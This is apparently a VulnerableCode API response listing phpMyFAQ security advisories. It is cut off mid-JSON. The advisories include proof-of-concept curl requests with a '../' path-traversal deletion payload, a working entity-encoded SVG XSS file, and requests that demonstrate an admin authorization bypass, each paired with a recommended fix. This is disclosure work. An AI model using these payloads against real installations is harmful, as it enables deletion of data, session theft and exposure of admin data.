Lookup for vulnerable packages by Package URL.

GET /api/packages/898270?format=api
HTTP 200 OK
Allow: GET, HEAD, OPTIONS
Content-Type: application/json
Vary: Accept

{
    "url": "http://public2.vulnerablecode.io/api/packages/898270?format=api",
    "purl": "pkg:composer/phpmyfaq/phpmyfaq@3.2.7",
    "type": "composer",
    "namespace": "phpmyfaq",
    "name": "phpmyfaq",
    "version": "3.2.7",
    "qualifiers": {},
    "subpath": "",
    "is_vulnerable": true,
    "next_non_vulnerable_version": "4.1.3",
    "latest_non_vulnerable_version": "4.1.3",
    "affected_by_vulnerabilities": [
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/93145?format=api",
            "vulnerability_id": "VCID-2w3p-tar6-8qgk",
            "summary": "phpMyFAQ: Path Traversal in Client::deleteClientFolder enables arbitrary directory deletion by non-super-admin admins\n## Summary\n\n`Client::deleteClientFolder()` in `phpmyfaq/src/phpMyFAQ/Instance/Client.php:583` takes a URL from the caller, strips the `https://` prefix, and passes the remainder to `Filesystem::deleteDirectory()` relative to the multisite `clientFolder`. No path-traversal validation runs. An admin with the `INSTANCE_DELETE` permission (a role short of SUPER_ADMIN) submits `https://../../../<path>` as the client URL and the server recursively deletes arbitrary directories under the web user's rights. Same pattern and reachability as GHSA-38m8-xrfj-v38x, which the project accepted at High severity three weeks earlier.\n\n## Details\n\n`phpmyfaq/src/phpMyFAQ/Instance/Client.php:583-591`:\n\n```php\npublic function deleteClientFolder(string $sourceUrl): bool\n{\n    if (!$this->isMultiSiteWriteable()) {\n        return false;\n    }\n\n    $sourcePath = str_replace(search: 'https://', replace: '', subject: $sourceUrl);\n    return $this->filesystem->deleteDirectory($this->clientFolder . $sourcePath);\n}\n```\n\n`str_replace` strips the scheme but does nothing about `../` segments. The concatenation `$this->clientFolder . $sourcePath` directly feeds the filesystem call, which traverses above `clientFolder` without complaint.\n\nCallers feed the URL from the HTTP request body:\n\n`phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/InstanceController.php:184`:\n\n```php\nif (1 !== $instanceId && $client->deleteClientFolder($clientData->url) && $client->delete($instanceId)) {\n```\n\n`$clientData->url` comes from `json_decode($request->getContent())`. The route is `admin.api.instance.delete`, gated by `INSTANCE_DELETE`. The controller does not validate the URL against a scheme list or canonicalize the path before handing it to `deleteClientFolder()`.\n\n`InstanceController.php:144` (edit path) and `Controller/Administration/InstanceController.php:151` (form path) both reach the same sink through different entry points.\n\n### Precedent\n\nGHSA-38m8-xrfj-v38x (2026-03-31) disclosed the identical bug class in `MediaBrowserController::index()`: an admin-gated API endpoint concatenates a user-supplied filename to a base directory without traversal validation. phpMyFAQ accepted that report at High severity. The present finding is the same root cause in a different controller; the project's INSTANCE_ADD / INSTANCE_DELETE permission is a granular admin right, not SUPER_ADMIN, so a lower-tier admin can reach the sink.\n\n## Proof of Concept\n\nPrerequisites: a phpMyFAQ 4.2.x instance with the multisite subsystem bootstrapped (there must be a non-primary instance present for the delete controller branch to fire). Alice is an admin with `INSTANCE_ADD` and `INSTANCE_DELETE` rights, no `SUPER_ADMIN` flag.\n\nStep 1: Alice authenticates and retrieves the CSRF token for the instance admin page.\n\nStep 2: Alice creates an instance whose `url` encodes a traversal payload. The create path at `InstanceController.php:144` already concatenates to the clientFolder through the same `deleteClientFolder(`'https://' . $hostname`)` call:\n\n```bash\ncurl -sS -b \"$ALICE_COOKIE\" -X POST \"$BASE/admin/api/instance\" \\\n  -H \"Content-Type: application/json\" -H \"x-csrf-token: $CSRF\" \\\n  -d '{\"url\":\"https://../../../tmp/pmf-poc/\",\"instance\":\"poc\",\"comment\":\"poc\",\"email\":\"a@b\",\"admin\":\"alice\",\"password\":\"poc1234!\"}'\n```\n\nStep 3: Alice deletes the instance. The request body names the instance id to delete; the controller hands `clientData->url` directly to `deleteClientFolder`:\n\n```bash\ncurl -sS -b \"$ALICE_COOKIE\" -X POST \"$BASE/admin/api/instance/2\" \\\n  -H \"Content-Type: application/json\" -H \"x-csrf-token: $CSRF\" \\\n  -d '{\"url\":\"https://../../../tmp/pmf-poc/\"}'\n```\n\nThe server computes `$sourcePath = '../../../tmp/pmf-poc/'`, concatenates to `<clientFolder>/`, and recursively deletes the resulting path.\n\nLive verification was not attempted against the test instance because the INSTANCE_DELETE path requires the multisite/ subsystem to be bootstrapped with at least one non-primary instance; see `InstanceController.php:184`. The code path is unambiguous and the precedent GHSA confirmed the same admin gating was considered in-scope.\n\n## Impact\n\nAny phpMyFAQ admin holding `INSTANCE_ADD` + `INSTANCE_DELETE` but not SUPER_ADMIN can delete arbitrary directories writable by the PHP process. Outcomes:\n\n- Destroy other tenants' data on a shared multisite deployment by traversing above the `clientFolder` into peer directories.\n- Delete phpMyFAQ's own `content/`, `config/`, or cache directories and lock the install out.\n- On a hosted deployment, overwrite or delete files anywhere under the web user's reach, including customer uploads outside phpMyFAQ.\n\nphpMyFAQ's permission model gives `INSTANCE_ADD` / `INSTANCE_DELETE` as a role that a hosting operator may delegate to a subordinate admin without granting SUPER_ADMIN. That delegation is now a direct path-traversal-delete primitive.\n\n## Recommended Fix\n\nCanonicalize and validate the URL before forming the filesystem path.\n\n`phpmyfaq/src/phpMyFAQ/Instance/Client.php:583`:\n\n```php\npublic function deleteClientFolder(string $sourceUrl): bool\n{\n    if (!$this->isMultiSiteWriteable()) {\n        return false;\n    }\n\n    $parsed = parse_url($sourceUrl);\n    if (!is_array($parsed) || !isset($parsed['host']) || ($parsed['scheme'] ?? '') !== 'https') {\n        return false;\n    }\n\n    $host = $parsed['host'];\n    if (!preg_match('/^[a-z0-9][a-z0-9.-]*$/i', $host)) {\n        return false;\n    }\n\n    $target = realpath($this->clientFolder . $host);\n    $root = realpath($this->clientFolder);\n    if ($target === false || $root === false || !str_starts_with($target, $root . DIRECTORY_SEPARATOR)) {\n        return false;\n    }\n\n    return $this->filesystem->deleteDirectory($target);\n}\n```\n\n`parse_url` rejects malformed inputs, the regex pins the host to valid DNS characters (no `/`, no `..`), and the `realpath` check ensures the resolved target lives under `clientFolder`. Apply the same canonicalization at the controller layer (`InstanceController::add`, `::update`, `::delete`) so the URL is validated before every call that touches the filesystem.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
            "references": [
                {
                    "reference_url": "https://github.com/thorsten/phpMyFAQ",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "6.5",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:H"
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/thorsten/phpMyFAQ"
                },
                {
                    "reference_url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-gh9p-q46p-57g2",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "6.5",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:H"
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-gh9p-q46p-57g2"
                },
                {
                    "reference_url": "https://github.com/advisories/GHSA-gh9p-q46p-57g2",
                    "reference_id": "GHSA-gh9p-q46p-57g2",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/advisories/GHSA-gh9p-q46p-57g2"
                }
            ],
            "fixed_packages": [
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/114543?format=api",
                    "purl": "pkg:composer/phpmyfaq/phpmyfaq@4.1.2",
                    "is_vulnerable": true,
                    "affected_by_vulnerabilities": [
                        {
                            "vulnerability": "VCID-6xtn-52az-3bh1"
                        }
                    ],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:composer/phpmyfaq/phpmyfaq@4.1.2"
                }
            ],
            "aliases": [
                "GHSA-gh9p-q46p-57g2"
            ],
            "risk_score": 3.1,
            "exploitability": "0.5",
            "weighted_severity": "6.2",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-2w3p-tar6-8qgk"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/94855?format=api",
            "vulnerability_id": "VCID-522f-tfh9-juea",
            "summary": "phpMyFAQ has a SVG Sanitizer Entity Decoding Depth Limit Bypass Leading to Stored XSS\n## Summary\n\nThe `SvgSanitizer::decodeAllEntities()` method limits recursive entity decoding to 5 iterations. By wrapping each character of `javascript` in an `href` attribute value with 5 levels of `&amp;` encoding around numeric HTML entities (e.g., `&amp;amp;amp;amp;amp;#106;` for `j`), an attacker can bypass both `isSafe()` detection and `sanitize()` removal. The uploaded SVG is served from the application origin with `image/svg+xml` content type, and the browser's XML parser fully decodes the remaining `&#NNN;` entities, resulting in a clickable `javascript:` link that executes arbitrary JavaScript.\n\n## Details\n\n**Root cause:** `decodeAllEntities()` at `phpmyfaq/src/phpMyFAQ/Helper/SvgSanitizer.php:223-249` limits entity decoding to `maxIterations=5`. Each iteration: (1) decodes `&#NNN;` numeric entities, (2) decodes `&#xHH;` hex entities, (3) calls `html_entity_decode()` which resolves one level of `&amp;` → `&`. With 5 levels of `&amp;` wrapping, all 5 iterations are consumed unwinding the `&amp;` nesting, leaving the final `&#NNN;` numeric entities unresolved.\n\n**Code path:**\n\n1. Authenticated user with `FAQ_EDIT` permission uploads SVG via `POST /admin/api/content/images` (`ImageController::upload()` at line 39)\n2. File extension is `svg` → `SvgSanitizer::isSafe()` called (line 114)\n3. `isSafe()` calls `decodeAllEntities()` — 5 iterations resolve `&amp;` nesting but leave `&#106;&#97;...` (numeric entities for `javascript`)\n4. Pattern matching at line 47 (`/href\\s*=\\s*[\"\\'][\\s]*javascript\\s*:/i`) does **not** match `&#106;&#97;...`\n5. `isSafe()` returns **true** — file saved **without any sanitization**\n6. SVG served directly by web server from `content/user/images/` with `image/svg+xml` MIME type\n7. Browser's XML parser decodes `&#106;` → `j`, `&#97;` → `a`, etc., reconstructing `javascript:alert(document.domain)`\n8. User clicks the SVG link → JavaScript executes in the phpMyFAQ origin\n\nThe bypass is even simpler than initially described — no `<script>` decoy tag is needed. Since `isSafe()` itself is bypassed, the file is stored without sanitization and the `sanitize()` code path is never reached.\n\n**Relevant code in `decodeAllEntities()`:**\n\n```php\n// phpmyfaq/src/phpMyFAQ/Helper/SvgSanitizer.php:223-249\nprivate function decodeAllEntities(string $content): string\n{\n    $previous = '';\n    $decoded = $content;\n    $maxIterations = 5;  // <-- insufficient for 5 levels of &amp; + numeric entity\n\n    while ($decoded !== $previous && $maxIterations-- > 0) {\n        $previous = $decoded;\n        // Step 1: Decode decimal entities (&#106; → j)\n        $decoded = preg_replace_callback('/&#(\\d+);/', ...);\n        // Step 2: Decode hex entities (&#x6A; → j)\n        $decoded = preg_replace_callback('/&#x([0-9a-fA-F]+);/', ...);\n        // Step 3: Decode named HTML entities (&amp; → &)\n        $decoded = html_entity_decode($decoded, ENT_QUOTES | ENT_HTML5, 'UTF-8');\n    }\n    // After 5 iterations with 5 &amp; levels: &#106; remains undecoded\n    return preg_replace('/[\\x00-\\x08\\x0b\\x0c\\x0e-\\x1f\\x7f]/', '', $decoded);\n}\n```\n\n## PoC\n\nUpload an SVG file containing a `javascript:` href where each character of `javascript` is entity-encoded with 5 levels of `&amp;` nesting around numeric entities. No `<script>` decoy is required — `isSafe()` itself is bypassed.\n\n**Step 1: Create malicious SVG file (`xss.svg`):**\n\n```xml\n<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 200 200\">\n  <a href=\"&amp;amp;amp;amp;amp;#106;&amp;amp;amp;amp;amp;#97;&amp;amp;amp;amp;amp;#118;&amp;amp;amp;amp;amp;#97;&amp;amp;amp;amp;amp;#115;&amp;amp;amp;amp;amp;#99;&amp;amp;amp;amp;amp;#114;&amp;amp;amp;amp;amp;#105;&amp;amp;amp;amp;amp;#112;&amp;amp;amp;amp;amp;#116;:alert(document.domain)\">\n    <circle cx=\"100\" cy=\"100\" r=\"80\" fill=\"red\"/>\n    <text x=\"100\" y=\"110\" text-anchor=\"middle\" fill=\"white\" font-size=\"20\">Click me</text>\n  </a>\n</svg>\n```\n\n**Step 2: Upload via admin image upload endpoint:**\n\n```bash\ncurl -b 'session_cookie' \\\n  -F \"files[]=@xss.svg\" \\\n  \"https://TARGET/admin/api/content/images?csrf=VALID_TOKEN\"\n```\n\nExpected response: `{\"success\": true, ...}` with the uploaded file URL.\n\n**Step 3: Access the uploaded SVG directly:**\n\n```\nhttps://TARGET/content/user/images/1712345678_xss.svg\n```\n\nThe browser renders the SVG as `image/svg+xml`. The XML parser decodes `&#106;` → `j`, `&#97;` → `a`, etc., producing `href=\"javascript:alert(document.domain)\"`. Clicking the red circle executes JavaScript in the phpMyFAQ origin.\n\n## Impact\n\n- **Stored XSS**: Any user (including other administrators) who views and clicks the malicious SVG link has JavaScript executed in their browser within the phpMyFAQ origin.\n- **Session hijacking**: Attacker can steal session cookies and CSRF tokens of other admins.\n- **Privilege escalation**: An editor-level user can execute JavaScript as a super-admin who views the image, potentially gaining full administrative control.\n- **Data exfiltration**: Access to all FAQ content, user data, and configuration accessible through the admin interface.\n\nThe blast radius is limited by the requirement that a victim must click the link within the SVG. However, the SVG can be crafted to make the clickable area cover the entire visible image (as shown in the PoC), and the attacker controls the visual appearance.\n\n## Recommended Fix\n\nThe root cause is that `decodeAllEntities()` can be exhausted by deeply nested `&amp;` encoding. The fix should ensure that after the decoding loop exits, a final pass of numeric/hex entity decoding is performed:\n\n```php\n// phpmyfaq/src/phpMyFAQ/Helper/SvgSanitizer.php - decodeAllEntities()\nprivate function decodeAllEntities(string $content): string\n{\n    $previous = '';\n    $decoded = $content;\n    $maxIterations = 10; // Increase from 5 to handle deeper nesting\n\n    while ($decoded !== $previous && $maxIterations-- > 0) {\n        $previous = $decoded;\n        $decoded = preg_replace_callback(\n            '/&#(\\d+);/',\n            static fn(array $matches): string => mb_chr((int) $matches[1], encoding: 'UTF-8'),\n            $decoded,\n        );\n        $decoded = preg_replace_callback(\n            '/&#x([0-9a-fA-F]+);/',\n            static fn(array $matches): string => mb_chr(hexdec($matches[1]), encoding: 'UTF-8'),\n            $decoded,\n        );\n        $decoded = html_entity_decode($decoded, ENT_QUOTES | ENT_HTML5, encoding: 'UTF-8');\n    }\n\n    // Safety net: if the loop exited due to iteration limit, do a final\n    // numeric/hex entity decode pass to catch any remaining &#NNN; entities\n    $decoded = preg_replace_callback(\n        '/&#(\\d+);/',\n        static fn(array $matches): string => mb_chr((int) $matches[1], encoding: 'UTF-8'),\n        $decoded,\n    );\n    $decoded = preg_replace_callback(\n        '/&#x([0-9a-fA-F]+);/',\n        static fn(array $matches): string => mb_chr(hexdec($matches[1]), encoding: 'UTF-8'),\n        $decoded,\n    );\n\n    return preg_replace('/[\\x00-\\x08\\x0b\\x0c\\x0e-\\x1f\\x7f]/', replacement: '', subject: $decoded);\n}\n```\n\nAdditionally, consider serving uploaded SVG files with `Content-Disposition: attachment` or `Content-Type: application/octet-stream` to prevent browser rendering, as a defense-in-depth measure.",
            "references": [
                {
                    "reference_url": "https://github.com/thorsten/phpMyFAQ",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "5.4",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N"
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/thorsten/phpMyFAQ"
                },
                {
                    "reference_url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-whqh-9pq5-c7r3",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "5.4",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N"
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-whqh-9pq5-c7r3"
                },
                {
                    "reference_url": "https://github.com/advisories/GHSA-whqh-9pq5-c7r3",
                    "reference_id": "GHSA-whqh-9pq5-c7r3",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/advisories/GHSA-whqh-9pq5-c7r3"
                }
            ],
            "fixed_packages": [
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/114543?format=api",
                    "purl": "pkg:composer/phpmyfaq/phpmyfaq@4.1.2",
                    "is_vulnerable": true,
                    "affected_by_vulnerabilities": [
                        {
                            "vulnerability": "VCID-6xtn-52az-3bh1"
                        }
                    ],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:composer/phpmyfaq/phpmyfaq@4.1.2"
                }
            ],
            "aliases": [
                "GHSA-whqh-9pq5-c7r3"
            ],
            "risk_score": 3.1,
            "exploitability": "0.5",
            "weighted_severity": "6.2",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-522f-tfh9-juea"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/92275?format=api",
            "vulnerability_id": "VCID-7um9-fk42-wqbs",
            "summary": "phpMyFAQ has an Authorization Bypass in All Admin Pages Due to Non-Terminating Permission Check\n## Summary\n\n`AbstractAdministrationController::userHasPermission()` catches the `ForbiddenException` thrown when a user lacks a specific permission, sends a \"forbidden\" HTML page via `$response->send()`, but does not terminate execution. The calling controller method continues to execute, fetches protected data, renders the full template, and returns it as a Response. The final `$response->send()` in `admin/index.php` outputs the protected page content after the forbidden page, leaking all permission-protected admin data to any authenticated admin user regardless of their actual permissions.\n\n## Details\n\nThe parent class `AbstractController::userHasPermission()` (`phpmyfaq/src/phpMyFAQ/Controller/AbstractController.php:317-327`) correctly enforces authorization by throwing a `ForbiddenException` when the user lacks the required permission. This exception would normally propagate to Symfony's HttpKernel exception handler, which would return an error response and prevent the controller from continuing.\n\nHowever, `AbstractAdministrationController` overrides this method at line 390-399:\n\n```php\n#[\\Override]\nprotected function userHasPermission(PermissionType $permissionType): void\n{\n    try {\n        parent::userHasPermission($permissionType);\n    } catch (ForbiddenException $exception) {\n        $response = $this->getForbiddenPage($exception->getMessage());\n        $response->send();  // Outputs HTML but does NOT terminate execution\n    } catch (Exception $exception) {\n        $this->configuration->getLogger()->error($exception->getMessage());\n        // Only logs, no response, no termination\n    }\n}\n```\n\nThe critical flaw: after `$response->send()` at line 396, there is no `exit()`, `die()`, `return`, or re-throw. PHP execution continues normally into the calling controller method.\n\nFor example, in `AdminLogController::index()` (`phpmyfaq/src/phpMyFAQ/Controller/Administration/AdminLogController.php:45-83`):\n\n```php\npublic function index(Request $request): Response\n{\n    $this->userHasPermission(PermissionType::STATISTICS_ADMINLOG);\n    // ^^^ If user lacks permission: forbidden page is echoed, but execution continues\n\n    // ... all of this still executes:\n    $loggingData = $this->adminLog->getAll();  // Fetches ALL admin log entries\n    // ...\n    return $this->render('@admin/statistics/admin-log.twig', [\n        // ... full admin log data including IPs, usernames, actions\n        'loggingData' => $currentItems,\n    ]);\n}\n```\n\nThe entry point `admin/index.php` then calls `$response->send()` on the returned Response, appending the full protected page to the already-sent forbidden page in the HTTP response body.\n\nThe second `catch` block (line 397-398) for generic `Exception` is even worse — it only logs the error without sending any response or terminating, so the protected page renders with no forbidden notice at all.\n\n**58 admin controllers** extend `AbstractAdministrationController` and call `userHasPermission()`, meaning every permission-protected admin page is affected. This includes:\n- Admin logs (user IPs, actions, usernames)\n- User management (user data, permissions)\n- System information (server configuration, PHP info)\n- Configuration pages (all application settings)\n- Backup pages\n- All other admin functionality\n\n## PoC\n\n1. Create a test admin user with minimal permissions (e.g., only FAQ editing, no statistics access):\n\n2. Authenticate as the limited admin user and request a permission-protected page:\n\n```bash\n# Get admin session cookies by logging in\ncurl -c cookies.txt -d 'faqusername=limited_admin&faqpassword=password&pmf-csrf-token=TOKEN' \\\n  'https://TARGET/admin/?action=login'\n\n# Access admin log page (requires STATISTICS_ADMINLOG permission)\ncurl -b cookies.txt -s 'https://TARGET/admin/statistics/admin-log' | tee response.html\n\n# The response contains BOTH the forbidden page HTML AND the full admin log:\ngrep -c 'You are not allowed' response.html    # 1 — forbidden page was sent\ngrep -c 'loggingData\\|ad_adminlog_ip' response.html  # matches — admin log data also present\n\n# Access system information (requires CONFIGURATION_EDIT permission)  \ncurl -b cookies.txt -s 'https://TARGET/admin/system-information' | tee sysinfo.html\n# Contains PHP version, extensions, database info, server configuration\n```\n\n3. The HTTP response body contains the forbidden page HTML followed by the full protected page HTML, including all sensitive data.\n\n## Impact\n\nAny authenticated admin user — even one with zero administrative permissions beyond basic login — can access **every** permission-protected admin page by simply requesting its URL. The permission check sends a forbidden page but does not stop execution, so the protected content is always appended to the response.\n\nExposed data includes:\n- **Admin logs**: All admin users' IP addresses, actions, and timestamps\n- **User management**: User accounts, email addresses, permissions\n- **System information**: PHP configuration, database details, server paths\n- **Configuration**: All application settings including security-sensitive values\n- **Backups**: Database export functionality\n\nThis effectively renders the entire admin permission system non-functional for the 58 page controllers using `AbstractAdministrationController`.\n\n## Recommended Fix\n\nAdd `return` after sending the forbidden response, and re-throw for the generic Exception case:\n\n```php\n#[\\Override]\nprotected function userHasPermission(PermissionType $permissionType): void\n{\n    try {\n        parent::userHasPermission($permissionType);\n    } catch (ForbiddenException $exception) {\n        $response = $this->getForbiddenPage($exception->getMessage());\n        $response->send();\n        exit;  // Terminate execution to prevent controller from continuing\n    } catch (Exception $exception) {\n        $this->configuration->getLogger()->error($exception->getMessage());\n        throw $exception;  // Re-throw to prevent controller from continuing\n    }\n}\n```\n\nA cleaner architectural fix would be to not swallow the exception at all, and instead let it propagate to the Symfony HttpKernel exception handler (which already handles `ForbiddenException` via `WebExceptionListener`):\n\n```php\n#[\\Override]\nprotected function userHasPermission(PermissionType $permissionType): void\n{\n    // Simply delegate to parent — let ForbiddenException propagate\n    // to the WebExceptionListener which renders the appropriate error page\n    parent::userHasPermission($permissionType);\n}\n```\n\nOr remove the override entirely, since the `WebExceptionListener` registered in the Kernel already handles exception-to-response conversion.",
            "references": [
                {
                    "reference_url": "https://github.com/thorsten/phpMyFAQ",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "6.5",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/thorsten/phpMyFAQ"
                },
                {
                    "reference_url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-hpgw-ww76-c68r",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "6.5",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-hpgw-ww76-c68r"
                },
                {
                    "reference_url": "https://github.com/advisories/GHSA-hpgw-ww76-c68r",
                    "reference_id": "GHSA-hpgw-ww76-c68r",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/advisories/GHSA-hpgw-ww76-c68r"
                }
            ],
            "fixed_packages": [
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/114543?format=api",
                    "purl": "pkg:composer/phpmyfaq/phpmyfaq@4.1.2",
                    "is_vulnerable": true,
                    "affected_by_vulnerabilities": [
                        {
                            "vulnerability": "VCID-6xtn-52az-3bh1"
                        }
                    ],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:composer/phpmyfaq/phpmyfaq@4.1.2"
                }
            ],
            "aliases": [
                "GHSA-hpgw-ww76-c68r"
            ],
            "risk_score": 3.1,
            "exploitability": "0.5",
            "weighted_severity": "6.2",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-7um9-fk42-wqbs"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/49825?format=api",
            "vulnerability_id": "VCID-8frb-zq9k-zqac",
            "summary": "Duplicate\nThis advisory duplicates another.",
            "references": [
                {
                    "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-24420",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "0.00016",
                            "scoring_system": "epss",
                            "scoring_elements": "0.03794",
                            "published_at": "2026-06-08T12:55:00Z"
                        },
                        {
                            "value": "0.00016",
                            "scoring_system": "epss",
                            "scoring_elements": "0.03817",
                            "published_at": "2026-06-07T12:55:00Z"
                        },
                        {
                            "value": "0.00016",
                            "scoring_system": "epss",
                            "scoring_elements": "0.0383",
                            "published_at": "2026-06-06T12:55:00Z"
                        },
                        {
                            "value": "0.00016",
                            "scoring_system": "epss",
                            "scoring_elements": "0.03829",
                            "published_at": "2026-06-05T12:55:00Z"
                        }
                    ],
                    "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-24420"
                },
                {
                    "reference_url": "https://github.com/thorsten/phpMyFAQ",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "6.5",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/thorsten/phpMyFAQ"
                },
                {
                    "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24420",
                    "reference_id": "CVE-2026-24420",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "6.5",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24420"
                },
                {
                    "reference_url": "https://github.com/advisories/GHSA-7p9h-m7m8-vhhv",
                    "reference_id": "GHSA-7p9h-m7m8-vhhv",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/advisories/GHSA-7p9h-m7m8-vhhv"
                },
                {
                    "reference_url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-7p9h-m7m8-vhhv",
                    "reference_id": "GHSA-7p9h-m7m8-vhhv",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "6.5",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        },
                        {
                            "value": "Track",
                            "scoring_system": "ssvc",
                            "scoring_elements": "SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-01-26T15:00:41Z/"
                        }
                    ],
                    "url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-7p9h-m7m8-vhhv"
                }
            ],
            "fixed_packages": [
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/73592?format=api",
                    "purl": "pkg:composer/phpmyfaq/phpmyfaq@4.0.17",
                    "is_vulnerable": false,
                    "affected_by_vulnerabilities": [],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:composer/phpmyfaq/phpmyfaq@4.0.17"
                },
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/950446?format=api",
                    "purl": "pkg:composer/phpmyfaq/phpmyfaq@4.1.0-RC",
                    "is_vulnerable": true,
                    "affected_by_vulnerabilities": [
                        {
                            "vulnerability": "VCID-2w3p-tar6-8qgk"
                        },
                        {
                            "vulnerability": "VCID-522f-tfh9-juea"
                        },
                        {
                            "vulnerability": "VCID-7um9-fk42-wqbs"
                        },
                        {
                            "vulnerability": "VCID-g5vv-tya3-wkft"
                        },
                        {
                            "vulnerability": "VCID-ghg9-s21m-jqe6"
                        },
                        {
                            "vulnerability": "VCID-mgy2-jjae-4qds"
                        },
                        {
                            "vulnerability": "VCID-nbs3-9fx9-p7en"
                        },
                        {
                            "vulnerability": "VCID-nvb4-mht6-8kdn"
                        },
                        {
                            "vulnerability": "VCID-p8pd-8q9q-1kad"
                        },
                        {
                            "vulnerability": "VCID-qqc4-rvtj-97h5"
                        },
                        {
